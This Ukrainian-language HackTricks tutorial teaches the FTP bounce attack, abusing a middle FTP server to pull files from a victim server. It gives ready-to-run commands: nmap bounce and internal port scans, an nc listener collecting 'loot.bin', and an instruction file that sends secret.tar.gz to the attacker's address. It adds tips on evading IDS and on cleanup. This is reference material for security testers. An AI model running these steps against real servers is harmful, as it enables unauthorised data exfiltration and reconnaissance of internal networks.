FTP Bounce — завантаження 2-го FTP файлу
Tip
Вивчайте та практикуйте AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримайте HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на github.
Резюме
Якщо у вас є доступ до bounce FTP server, ви можете змусити його запросити файли з іншого FTP server (де ви знаєте деякі облікові дані) і завантажити цей файл на ваш власний сервер.
Вимоги
- Дійсні FTP облікові дані на FTP Middle server
- Дійсні FTP облікові дані на Victim FTP server
- Обидва сервери accept the
PORTcommand (bounce FTP attack) - Ви можете write в деякий каталог на FTP Middle server
- FTP Middle server має more access всередині Victim FTP server, ніж ви
Кроки
- Підключіться до your own FTP server і переведіть з’єднання в пасивний режим (
pasvcommand), щоб він listens у директорії, куди сервер жертви надішле файл. - Створіть файл, який FTP Middle server відправить на Victim server (цей файл — exploit script). Цей файл буде у вигляді звичайного тексту з командами, необхідними для автентифікації на Victim server, зміни директорії та завантаження файлу на ваш сервер.
- Підключіться до FTP Middle Server і завантажте попередній файл.
- Змусьте FTP Middle server встановити з’єднання з Victim server та відправити exploit-файл.
- Отримайте файл на вашому власному FTP server.
- Видаліть exploit-файл з FTP Middle server.
Швидка перевірка на вразливі bounce hosts
- Nmap все ще підтримує FTP bounce checks. Приклад для перевірки потенційного middle server:
nmap -Pn -p21 --script ftp-bounce <middle_ftp_ip>
# or directly attempt a bounce scan
nmap -Pn -p80 -b user:pass@<middle_ftp_ip>:21 <internal_target_ip>
Якщо сервер відхиляє сторонні значення PORT, сканування зазнає невдачі; деякі вбудовані/застарілі принтери, NAS та appliance FTP-демони досі це дозволяють.
Автоматизація другого FTP-завантаження
Нижче показано модернізований спосіб стягнути файл через вразливий проміжний FTP-сервер.
- Відкрийте пасивний listener на вашому attack box (будь-який TCP sink підходить):
nc -lvnp 2121 > loot.bin # or run a small pyftpdlib server
-
Зауважте вашу IP як
A,B,C,Dта портPякp1,p2(p1 = P/256,p2 = P%256). -
Сформуйте файл інструкцій, який проміжний сервер відтворить для жертви:
cat > instrs <<'EOF'
USER <victim_user>
PASS <victim_pass>
CWD /path/inside/victim
TYPE I
PORT A,B,C,D,p1,p2
RETR secret.tar.gz
QUIT
EOF
# Add padding so the control channel stays open on picky daemons
dd if=/dev/zero bs=1024 count=60 >> instrs
- Завантажте та запустіть із проміжного сервера (класичний proxy FTP):
ftp -n <middle_ftp> <<'EOF'
user <middle_user> <middle_pass>
put instrs
PORT <victim_ip_with_commas>,0,21
RETR instrs
QUIT
EOF
- Заберіть файл із вашого listener-а (
loot.bin). - Приберіть завантажений файл
instrsна проміжному сервері.
Примітки:
- Паддінг (
dd ...) запобігає закриттю керуючого з’єднання до завершення RETR (проблема великого TCP-вікна, описана в класичних матеріалах). - Будь-який сервіс, який може listen and dump TCP, може замінити FTP PASV-сокет (наприклад,
socat -u TCP-LISTEN:2121,fork - > loot.bin). - Якщо проміжний сервер обмежує привілейовані порти, використовуйте високий порт у
PORTта налаштуйте свій listener відповідно.
Додаткові трюки
- Використайте bounceable FTP-сервер для port-scan internal hosts, коли ретрансляція файлів заблокована:
nmap -Pn -p22,80,445 -b anonymous:<email>@<middle_ftp> <internal_ip>
- Деякі сучасні WAF/IDS (наприклад, Juniper IPS) містять сигнатури спеціально для FTP:EXPLOIT:BOUNCE-ATTACK; гучні payloads або відсутній паддінг можуть їх спровокувати.
- Коли проміжний сервер накладає обмеження «PORT to same host», розмістіть свій listener on the middle server itself (якщо маєте write/execute) і потім переспрямуйте захоплений файл.
Для більш детального старомодного покрокового опису дивіться: http://www.ouah.org/ftpbounce.html
Посилання
Tip
Вивчайте та практикуйте AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримайте HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на github.


